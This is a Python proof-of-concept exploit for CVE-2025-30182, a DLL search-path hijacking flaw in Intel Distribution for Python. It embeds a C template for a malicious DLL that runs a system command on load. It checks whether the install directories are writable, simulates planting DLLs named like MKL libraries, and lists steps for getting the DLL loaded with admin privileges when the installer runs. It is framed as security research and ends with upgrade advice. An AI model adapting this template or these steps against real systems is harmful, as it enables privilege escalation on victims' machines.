CVE-2025-30182

#!/usr/bin/env python3 """ CVE-2025-30182 PoC - Intel Distribution for Python DLL Search Path Hijacking Note: This is a conceptual PoC for educational and security research purposes only. """ import os import sys import ctypes from ctypes import wintypes # Windows DLL loading constants LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR = 0x00000100 LOAD_LIBRARY_SEARCH_DEFAULT_DIRS = 0x00001000 def create_malicious_dll_payload(): """ Generate malicious DLL code that creates a reverse shell or executes privileged commands """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ if (fdwReason == DLL_PROCESS_ATTACH) {{ // Payload execution - write to log or execute commands HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2025_30182_exploit.log", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) {{ const char* msg = "CVE-2025-30182 exploited - DLL hijacking successful\\n"; DWORD bytesWritten; WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL); CloseHandle(hFile); }} // Execute malicious actions with elevated privileges system("cmd.exe /c whoami > C:\\\\Temp\\\\priv_esc_result.txt"); }} return TRUE; }} ''' return dll_template def check_vulnerability(): """ Check if Intel Distribution for Python installation path is vulnerable """ vulnerable_paths = [ os.path.join(os.environ.get('PROGRAMFILES', ''), 'Intel\Distribution for Python'), os.path.join(os.environ.get('PROGRAMFILES(X86)', ''), 'Intel\Distribution for Python'), 'C:\\Program Files\\Intel\\Distribution for Python', 'C:\\Program Files (x86)\\Intel\\Distribution for Python' ] print("[*] Checking for vulnerable Intel Distribution for Python installation...") for path in vulnerable_paths: if os.path.exists(path): print(f"[+] Found Intel Distribution for Python at: {path}") # Check if installation directory is writable if os.access(path, os.W_OK): print(f"[!] VULNERABLE: Directory is writable - {path}") return True, path else: print(f"[*] Directory not writable - {path}") return False, None def place_malicious_dll(target_dir, dll_name): """ Simulate placing a malicious DLL in the target directory In real attack, this would be the actual malicious DLL file """ dll_path = os.path.join(target_dir, dll_name) print(f"[*] Simulating malicious DLL placement at: {dll_path}") print("[!] In a real attack, this would be an actual compiled malicious DLL") # Log the simulated action log_file = os.path.join(os.environ.get('TEMP', '/tmp'), 'poc_simulation.log') with open(log_file, 'a') as f: f.write(f"CVE-2025-30182 PoC: DLL would be placed at {dll_path}\n") return True def main(): print("=" * 70) print("CVE-2025-30182 PoC - Intel Distribution for Python DLL Hijacking") print("=" * 70) print() # Check for vulnerability is_vulnerable, target_path = check_vulnerability() if is_vulnerable: print("\n[!] System appears to be vulnerable to CVE-2025-30182") print("\n[*] Attack simulation:") # Common DLL names that might be loaded by the installer common_dlls = ['Intel_MKL.dll', 'mkl_core.dll', 'mkl_intel_thread.dll'] for dll in common_dlls: place_malicious_dll(target_path, dll) print("\n[*] To complete the attack:") print(" 1. Wait for a user with admin privileges to run the installer") print(" 2. The malicious DLL will be loaded with elevated privileges") print(" 3. Attacker code executes with SYSTEM/admin privileges") else: print("\n[*] Intel Distribution for Python not found or not vulnerable") print("\n[*] Remediation: Upgrade to Intel Distribution for Python 2025.2.0 or later") print("=" * 70) if __name__ == '__main__': main()

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